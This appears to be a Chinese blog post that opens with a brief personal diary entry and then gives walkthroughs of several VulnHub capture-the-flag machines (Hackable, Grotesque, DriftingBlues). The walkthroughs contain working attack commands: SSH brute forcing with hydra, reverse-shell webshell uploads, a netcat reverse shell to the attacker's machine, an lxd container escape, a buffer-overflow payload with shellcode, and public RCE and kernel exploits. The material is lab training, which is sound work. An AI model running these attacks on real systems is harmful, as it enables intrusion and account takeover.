繭色
繭色
等待了接近一周的简历投递终于陆续开始有了回应,明天就要先接受 XF 的面试了,当然是希望通过的,亦希望能够顺利与 WW 会师……
转眼一想,自己已经来到上海快整整一年了,时光飞逝,可惜公司楼下对角的那家居酒屋始终只是停留在了“透过帘布,往酒绿灯红中看了一眼”的程度,莫名可惜。
「若非前述情境,理应还有机会」
这篇文章叫“繭色”(茧色),是因为在写这篇时刚好随机到《在地下城寻求邂逅是不是搞错了什么》第三季第八话的插入曲,名为《繭色》。
等待了接近一周的简历投递终于陆续开始有了回应,明天就要先接受 XF 的面试了,当然是希望通过的,亦希望能够顺利与 WW 会师……
转眼一想,自己已经来到上海快整整一年了,时光飞逝,可惜公司楼下对角的那家居酒屋始终只是停留在了“透过帘布,往酒绿灯红中看了一眼”的程度,莫名可惜。
「若非前述情境,理应还有机会」
这篇文章叫“繭色”(茧色),是因为在写这篇时刚好随机到《在地下城寻求邂逅是不是搞错了什么》第三季第八话的插入曲,名为《繭色》。
名称:Hackable III
发布日期:2021.6.2
作者:Elias Sousa
系列:Hackable
Flags:
root:/mnt/root/root/root.txt
难度:中等
文件名:hackable3.ova
文件大小:1.6GB
下载地址:
MD5: 11855876A01867E9B79D6D5536F89DC0
SHA1: F5F200B85774430E0437F786DE11D20A5A022D33
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机Hackable III和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,可以发现只开放了80端口,其中有一个http-robots.txt:
1 nmap -sC -A -p- 192.168.56.103,端口扫描3.最后再进行一下目录扫描,发现一些目录,但是没有太多的可用信息:
1 dirb http://192.168.56.103,目录扫描
1.对靶机主页进行访问,查看源码发现提示:
2.提示告知我们可能要用到端口knocking及图片隐写的技术,并且获得了jubiscleudo这个用户名,结合提示上方的login页,可以尝试使用sql注入,但发现其实直接登录也会跳转,虽然是空白页,但是可以查看源码:
3.我们在源码里发现了一个图片指示,结合之前的提示涉及图片隐写,可以把图片获取下来,用steghide分离一下隐藏内容:
1 steghide extract -sf 3.jpg,分离出文本4.这样我们的得到了第一个端口号,我们返回主页,去/config目录下查看,只有一个1.txt,里面是base64编码的10000,如此我们得到第二个端口:
5.同样,我们去/css目录下查看,发现有2.txt,是brainfuck编码的4444,这就是第三个端口号:
6.而/backup目录下有一个wordlist.txt,很像密码字典,我们把这个字典获取,等下可以进行爆破:
1 wget http://192.168.56.103/backup/wordlist.txt,获取密码字典
1.利用三个端口号进行knocking,可以发现ssh已经开放:
1
2 knock 192.168.56.103 10000 4444 65535,knock
nmap -p22 192.168.56.103,查看22端口状态2.利用wordlist.txt密码字典对jubiscleudo用户使用hydra进行爆破,登录ssh:
1 hydra -l jubiscleudo -P wordlist.txt 192.168.56.103 ssh
1 ssh jubiscleudo@192.168.56.103,ssh登录
1.利用jubiscleudo帐户,我们能查看/var/www/html目录下.backup_config.php文件,可以发现用户hackable_3及其密码:
2.登录hackable_3,查看组,发现二进制文件lxc和lxd可用:
3.我们可以利用alpine进行提权,系列命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 Kali:
把准备好的alpine压缩包传上靶机,命令如下:
scp /tmp/alpine-minirootfs-3.14.1-x86_64.tar.gz hackable_3@192.168.56.103:/tmp/
hackable_3:
cd /tmp
lxc image import ./ alpine-minirootfs-3.14.1-x86_64.tar.gz –alias fasto
lxc image list
lxd init
lxc init fasto groot -c security.privileged=true
lxc config device add groot mydevice disk source=/ path=/mnt/root recursive=true
lxc start groot
lxc exec groot /bin/sh4.在/mnt/root/root目录下,可以发现root.txt,即flag:
名称:Hackable II
发布日期:2021.6.15
作者:Elias Sousa
系列:Hackable
Flags:
shrek:/~/user.txt
root:/root/root.txt难度:简单
文件名:hackableII.ova
文件大小:1.4GB
下载地址:
MD5: EE4F408BA953E626E3852CFEC7ACEFA3
SHA1: 89B1FDF9FCDCC5D2FBB736318CCC77E9F25D1C06
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
DHCP服务:可用
IP地址:自动分配
1.将靶机Hackable II和攻击机kali2021在VirtualBox下设置为仅主机模式(Vmware可能会无法获取网络),使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,可以发现开放了21,22,80端口,其中21端口可以使用anonymous身份进行登录:
1 nmap -sC -A -p- 192.168.56.101,端口扫描3.最后再进行一下目录扫描,发现/files目录下有一个CALL.html,但是没有太多的可用信息:
1 dirb http://192.168.56.101,目录扫描
1.使用anonymous直接登录ftp,发现当前目录可写:
1 ftp open 192.168.56.1012.则可上传webshell,这里利用kali自带的webshell简单修改后上传:
1 vim /usr/share/webshells/php/php-reverse-shell.php,修改ip为kali的ip
1 put php-reverse-shell.php,ftp上传webshell,要在/usr/share/webshells/php/目录下3.kali开启监听,从靶机/files目录下访问webshell,得到shell:
1 nc -lvnp 9001,利用刚才设定的端口
1.可以对/home目录进行一下搜寻,发现important.txt的文件,提示我们去运行.runme.sh,并得到用户名和md5后的密码:
2.通过对密码的md5破解,其实就可以登录shrek,ssh登录后,可以查看shrek /home目录下的文件user.txt:
3.再来看看能从什么地方进行提权,发现可以直接使用python:
1 sudo -l
1 sudo /usr/bin/python3.5 -c 'import os;os.system("/bin/sh")',直接提权4.最后在/root目录下,发现root.txt,即flag:
名称:Grotesque:2
发布日期:2021.3.30
作者:tasiyanci
系列:Grotesque
推特:@tasiyanci
Flags:
angel:/~/user.txt
root:/root/root.txt难度:简单
文件名:grotesque2_vh.ova
文件大小:824MB
下载地址:
MD5: 57A2630C846D285B1390789D2D5B1C3D
SHA1: B6FA719ACA753E479DC5D3425B0C7A4435019C59
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机grotesque2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现开放了很多端口,看来是做迷惑,访问主页,源码只有js内容:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.109 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现也是很多目录且无法对应端口,没办法,把全部的index页获取下来,按大小排序,找寻线索:
1 gobuster dir -u http://192.168.56.109/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –wildcard switch,目录扫描
1 for i in {23..600}; do wget 192.168.56.109:$i -O index$i; done,获取各端口index
1 ls -la | sort,排序文件,最大是index258
1.访问一下大小最大的页面192.168.56.108:258,页面提示我们ssh用户名,我们查看页面源码,发现ok的emoji其实是一张图片:
2.将emoji的图片下载,放大后得到一串类似md5的字串,直接md5无法解出,但是页面有提示我们-100,得到ssh密码:
1 wget http://192.168.56.109:258/emoji/hand.png
1.通过刚才的ssh用户名提示,我们可以试出是用户angel的密码,也可以使用hydra进行爆破,将ssh用户统一写入use.txt:
1 hydra -L use.txt -p solomon1 ssh://192.168.56.1092.登录后在目录下发现第一个flag,user.txt:
1.进入quiet文件夹,发现大量数字命名文件,用pspy64s进行进程监控,发现有定时任务的读写检查:
1
2
3
4 python3 -m http.server 8001,kali开启http服务
wget http://192.168.56.102:8001/pspy64s,angel获取pspy64s工具
chmod +x pspy64s,给予执行权力
./pspy64s,开启进程监听2.删去quiet目录下所有文件,让定时任务执行后,进一步查看,发现rootcreds.txt,可以获得root的密码:
1
2 rm -rf *,删除后根据进程定时大概要等待一段时间再查看
ls -la /3.登录root用户,在/root目录下发现第二个flag,root.txt:
名称:Grotesque:1.0.1
发布日期:2021.3.10
作者:tasiyanci
系列:Grotesque
推特:@tasiyanci
Flags:
raphael:/
/user.txt/root.txt
root:/难度:中等
文件名:grotesque_vh-1.0.1.ova
文件大小:672MB
下载地址:
MD5: 7E73878BDB1251D1DADC4CC49F5BAD68
SHA1: 778CF0A9721E530587C78DD198039297C7BB16AB
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机grotesque和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了66和80端口,而主页并没有东西:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.108 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现只有/javascript,也无法直接查看:
1 gobuster dir -u http://192.168.56.108/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.访问一下192.168.56.108:66页面,vvmlist.github.io,页面提示我们去下载这个项目,而在源码我们发现了一组很像brainfuck编码的注释:
2.brainfuck解码出来指向/sshpasswd.png,同时我们下载下vvmlist这个项目,解压后很快就能发现这张图片:
3.利用多种工具分析sshpasswd.png没有分析出来,但靶机也没有开放22端口无法ssh登录,所以转向查看vvmlist中的其他文件,按照操作时间,我们可以发现80端口真正的指向,而且很可能是使用wordpress搭建的:
1 cat _vvmlist/* | sort | uniq
1.访问192.168.56.108/lyricsblog,查看源码,我们会发现一张图片地址,查看图片,没有太多线索:
2.前面提到了这个页面是wordpress搭建的,我们使用wpscan扫描一下,也没有太多发现:
1 wpscan --url http://grotesqueip/lyricsblog -e ap,cb,dbe,u1-999 --plugins-detection aggressive --plugins-version-detection aggressive3.说句实话,思路到这里就断掉了,后来通过维基,发现/lyricsblog页都是歌曲的歌词,然后yesman.png又提示他喜欢听hakan-tasiyan-doktor,我们尝试把这首歌的歌词全部获取下来md5然后大写一下,发现就是可以登录wordpress后台的密码,用户名是erdalkomurcu,页面有显示:
1
2 vim doctor-lyrics.txt,写入歌词
md5sum doctor-lyrics.txt4.访问192.168.56.108/lyricsblog/wp-admin,提示密码要大写,我们登录看看:
1.在wordpress后台Appearance页Theme Editor,在404.php(my favorite)内粘贴kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,并在kali开启对应端口监听,通过访问
http://192.168.56.108/lyricsblog/index.php/author/erdalkomurcu/1触发webshell:2.通过查看/var/www/html/lyricsblog/wp-config.php,能够得到raphael用户及密码,登录一下试试:
3.用python建立一个交互式shell,可以发现user.txt是一串类似md5值,但是解不出来;在发现有一个.kdbx文件,应该是root的密钥库文件,获取到kali:
1 python3 -c 'import pty;pty.spawn("/bin/bash")'
1 python3 -m http.server 80014.对.chadroot.kdbx使用keepass2john进行解密,这里要用到rockyou.txt,下载地址为https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt:
1.获取到密码,利用app.keeweb.info,上传chadroot.kdbx,可以获得root密码:
2.在/root页下获得flag,即root.txt:
“风笛已经是版本T0打野了,还要加强,还加强两波,策划玩不玩游戏啊!明日方舟设计师,你看看她!” ——刚走出MSI氛围的呱呱如是说到
名称:DriftingBlues:9(final)
发布日期:2021.5.9
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
root:/root/root.txt
难度:困难
文件名:driftingblues9.ova
文件大小:738MB
下载地址:
MD5: DB7D1B48224F802666B07693ACD7CDB4
SHA1: CD8C690150B48AC4AB9E6A3D56A4F12F110C78C1
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues9和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现开放了80和111端口,访问主页查看源码,发现是一个ApPHP页面:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.120 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现好些目录,但也没有进一步有价值的信息:
1 gobuster dir -u http://192.168.56.120 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.在主页面能够发现一个admin登录页面:
2.因为源码提示了我们ApPHP的相关信息,我们可以去Exploit-db(https://www.exploit-db.com/exploits/33070)查找到相关漏洞利用:
3.执行相关python程序,我们可以获得较基础的权限:
1 python 33070.py http://192.168.56.120
1.利用得到的用户我们可以查看/var/www/include/base.inc.php文件下,有clapton用户及其密码,其实上面程序已经爆出来了:
2.此时我们要先想办法建立交互式shell,先在kali开启端口监听,再利用靶机端返回shell:
1
2
3
4 nc -lvnp 4444,kali开启端口监听
which nc,靶机返回shell
nc 192.168.56.102 4444 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash");',kali再使用python建立交互式shell3.现在我们可以先确认clapton用户的存在,再进行登录了:
1 cat /etc/passwd,确认存在clapton
1.在clapton用户目录下,我们能发现第一个flag,user.txt,而另一个note.txt文件查看后是关于缓冲区溢出的提示:
2.除了两个txt文本文件以外,还有一个input文件,这个文件用file命令查看后,明显是要对这个文件进行缓冲区溢出提权:
1 file input3.我们将input文件获取到本地,用checksec查看,该文件并没有启用任何保护措施:
1
2
3 python -m SimpleHTTPServer 8001,clapton开启http服务(尝试使用了python3 -m http.server 8001,发现靶机没有python3)
wget http://192.168.56.120:8001/input,kali获取input
checksec --file=input4.使用命令修改input文件所有者,并赋予程序特殊权限:
1
2
3 sudo chown 0:0 input
sudo chmod 4755 input
ls -l5.使用cyclic生成500个字符组成的字符串用于计算偏移量:
1
2
3 python3
from pwn import *
cyclic(500)6.然后关闭kali的ASLR,启动gdb调试input程序,将500个字符组成的字符串传入程序并运行后程序奔溃,EIP寄存器的值为“0x61617362”:
1
2
3
4 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gdb input
r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae7.再次利用cyclic计算偏移量得到171,那么payload构造为“171个A”+“jmp esp地址”+Shellcode:
1 cyclic_find(0x61617362)8.在kali使用edb-debugger,随便传入参数调试程序,运行程序后Ctrl+O寻找jmp esp指令地址:
9.选择r-x权限下的第一个jmp esp地址,写入payload,在kali上可以成功获得root权限:
1 ./input `python -c "print 'A'*171+'\x70\xbe\xe0\xf7'+'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'"`10.但同样的payload在clapton用户上并不能起效,原因是靶机开启了ASLR而我们无权限关闭,且靶机的偏移地址是jmp esp相对libc基址的偏移地址,kali下的libc.so.6文件与靶机不同;所以这里我们采用循环绕过ASLR:
1
2
3
4 gdb ./input,在clapton上测定偏移地址
run $(python -c 'print "A" * 171 + "B" * 5 + "\x90" * 2000'),在kali上我们已经测得程序溢出位置偏移量为171,clapton上也如此
x/s $esp,得到jmp esp相对libc基址的偏移地址
q y,退出gdb调试
1 for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xe0\xd6\x9e\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done,循环绕过ASLR
1.通过利用缓冲区溢出漏洞,我们成功提权到root,在/root目录下能够找到flag,即root.txt:
1
2
3 cd /root
ls -la
cat root.txt
名称:DriftingBlues:7
发布日期:2021.4.21
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
root:/root/flag.txt
难度:中等
文件名:driftingblues7_vh.ova
文件大小:1.3GB
下载地址:
MD5: DB16D916B288F8A6440D17046EE99064
SHA1: 39824D3EB1D8DA9118A12463B19503D93903B038
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(centos)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues7和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现很多端口都是开放的,访问主页查看源码,发现是一个EyesOfNetwork的登录页:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.119 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,爆出的目录我们都无法访问,必须要先登录:
1 dirb https://192.168.56.119,目录扫描
1.因为开放了多个端口,我们逐一进行访问,访问192.168.56.119:66,源码内没有过多线索:
2.我们对66端口下的目录再次进行扫描,直接扫出了一个flag.txt文件:
1 gobuster dir -u http://192.168.56.119:66 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,对66端口下目录扫描
1 curl http://192.168.56.119:66/flag.txt3.这个应该是作者忘记删除的flag文件了,其实应该是想让我们发现eon这个文件:
4.查看eno文件,发现是一串base64编码,解码后发现格式是压缩文件的格式,于是把它解码为application.zip(这里用到了这个在线工具:https://base64.guru/converter/decode/file):
1 curl http://192.168.56.119:66/eon
1 echo UEsDBBQAAQAAAAOfg1LxSVvWHwAAABMAAAAJAAAAY3JlZHMudHh093OsvnCY1d4tLCZqMvRD+ZUURw+5YmOf9bS11scvmFBLAQI/ABQAAQAAAAOfg1LxSVvWHwAAABMAAAAJACQAAAAAAAAAIAAAAAAAAABjcmVkcy50eHQKACAAAAAAAAEAGABssaU7qijXAYPcazaqKNcBg9xrNqoo1wFQSwUGAAAAAAEAAQBbAAAARgAAAAAA | base64 -d5.利用zip2john对application.zip进行解密,再用john得到密码,查看creds.txt获得用户和密码:
1
2 zip2john application.zip | tee hash
john hash --wordlist=/home/kali/Desktop/rockyou.txt
1.利用得到的用户和密码登录EyesOfNetwork后台,发现在Help-EyesOfNetwork页可以发现EyesOfNetwork的版本为5.3:
2.可以找到这个版本的漏洞利用文件,https://github.com/h4knet/eonrce/blob/master/eonrce.py,获取下来可以直接利用:
1
2
3 wget https://raw.githubusercontent.com/h4knet/eonrce/master/eonrce.py
chmod +x eonrce.py
./eonrce.py https://192.168.3.146/ -ip 192.168.3.145 -port 4444,这里要改一下靶机和kali的网络链接方式,改为桥接模式,命令执行的是桥接模式的ip
1.现在我们可以在/root目录下,能够找到flag,即flag.txt:
1
2
3 cd /root
ls -la
cat flag.txt
名称:DriftingBlues:6
发布日期:2021.3.30
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
firefart:/root/flag.txt
难度:简单
文件名:driftingblues6_vh.ova
文件大小:395MB
下载地址:
MD5: 1EF3EF660B6E129CCA3D93F8FBA0C94D
SHA1: 01EDAC6D7FFAD8B6487DD4DCE021CCFFD0250CE8
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues6和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了80端口,访问主页查看源码,没有过多线索:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.118 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现有robots.txt文件:
1 gobuster dir -u http://192.168.56.118/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.访问192.168.56.118/robots.txt,得到/textpattern/textpattern目录存在的提示,同时提心我们关注.zip文件内容:
2.继续访问192.168.56.118/textpattern/textpattern,发现是一个textpattern的管理后台登录页:
3.根据提示,再次扫描目录,这次以.zip文件为主,找到spammer.zip:
1 gobuster dir -u http://192.168.56.118/ -x zip --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录下.zip文件扫描4.利用fcrackzip对spammer.zip进行破解,可以得到zip内的一对用户名即密码:
1 fcrackzip -D -p rockyou.txt -u /home/kali/Downloads/spammer.zip
1.利用得到的用户和密码登录textpattern管理后台,发现在Content-File可以上传文件:
2.我们可以上传kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,修改ip及端口:
1 vim /usr/share/webshells/php/php-reverse-shell.php3.在kali开启对应的端口监听,然后访问192.168.56.118/textpattern/files/php-reverse-shell.php触发:
1 nc -lvnp 9001
1 python -c 'import pty; pty.spwan("/bin/bash");',利用python建立交互式shell
1.获取shell后,我们可以查看靶机系统内核,发现版本为3.2.78:
1 uname -a2.在kali上可以利用searchsploit搜索该版本漏洞,并且有对应的利用程序:
1 searchsploit linux 3.2.783.获取利用程序后,我们可以查看,发现程序可以修改靶机内核版本下linux用户的登录密码:
1
2 searchsploit -m 40839.c
cat 40839.c4.再次通过textpattern后台上传40839.c,并在靶机/var/www/textpattern/files目录下对其编译,运行生成程序后修改密码:
1
2
3
4
5 cd /var/www/textpattern/files
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
123,修改后的password
1.现在我们可以利用修改后的密码登录firefart用户:
1 su firefart2.在/root目录下,能够找到flag,即flag.txt:
1
2
3 cd /root
ls -la
cat flag.txt
名称:DriftingBlues:5
发布日期:2021.3.8
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
gill:/~/user.txt
root:/root/root.txt难度:困难
文件名:driftingblues5_vh.ova
文件大小:715MB
下载地址:
MD5: 21E0290277C1523B3E9DEF173EA0FA66
SHA1: 371C270F8D2C8F65436F9BD52485E2128FC6365B
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues5和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了22和80端口,访问主页查看源码,确定是wordpress搭建的页面:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.117 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,都是wordpress相关的目录内容:
1 gobuster dir -u http://192.168.56.117/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.扫描得到的结果都指向wordpress,则用wpscan进行扫描,可以得到5个用户及其密码:
1 wpscan --url http://192.168.56.117 --detection-mode aggressive -e --passwords=/home/kali/Desktop/rockyou.txt2.但是如果使用rockyou.txt作为密码字典要跑出对应密码相当消耗时间,合理可以用cewl生成一个较小的字典,能够得到gill用户的密码:
1
2 cewl -m 6 -w drift.txt http://192.168.56.117
wpscan --url http://192.168.56.117 --detection-mode aggressive -e u -P drift.txt3.进入wordpress管理后台,利用gill登录,但gill用户的权限不够,无法从wordpress后台写入webshell:
1.回到主页,结合目录扫描的结果,我们能在http://192.168.56.117/wp-content/uploads/2021/02/目录下发现主页调用的图片,其中dblogo.png是唯一没被使用到的图片,我们可以用exiftool查看一下:
1 exiftool /home/kali/Downloads/dblogo.png2.得到了ssh的密码,我们尝试登录一下,发现其实就是全小写,并且找到第一个flag,user.txt:
1.可以发现文件夹有keyfile.kdbx这个密码库文件,把这个文件获取到kali,用keepass2john解一下:
1
2
3 python3 -m http.server 8001,gill开启http服务
wget http://192.168.56.117:8001/keyfile.kdbx,kali获取密码库文件
keepass2john keyfile.kdbx | tee hash
1 John hash –wordlist=rockyou.txt2.得到的porsiempre并不是root的密码,我们再把keyfile.kdbx放在https://app.keeweb.info/打开,得到的6个密码也不是root密码:
3.回到gill用户下,查看具有sudo权限的应用,没有发现明显可用的应用:
1 find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;4.利用linpeas.sh进行扫描,发现root下有/keyfolder这个目录:
1
2
3
4 python3 -m http.server 8001,kali开放http服务
wget http://192.168.56.102:8001/linpeas.sh,gill获取linpeas工具
chmod +x linpeas.sh
./linpeas.sh5.我们查看/keyfolder这个目录,发现有其他用户可以在这个目录下写入:
6.再利用pspy64s监视进程,发现/root/key.sh这个进程是定时执行的:
1 wget http://192.168.56.102:8001/pspy64s,gill获取pspy64s7.那么我们可以边让pspy64s进行监听,进入/keyfolder目录,将之前keyfile.kdbx内的密码一个个尝试,等待pspy64s监听到key.sh的一次执行,没有获得文件,就删去尝试的密码文件:
8.rootcreds.txt的内容就是root用户的密码,提权后在/root目录下能够找到第二个flag,即root.txt: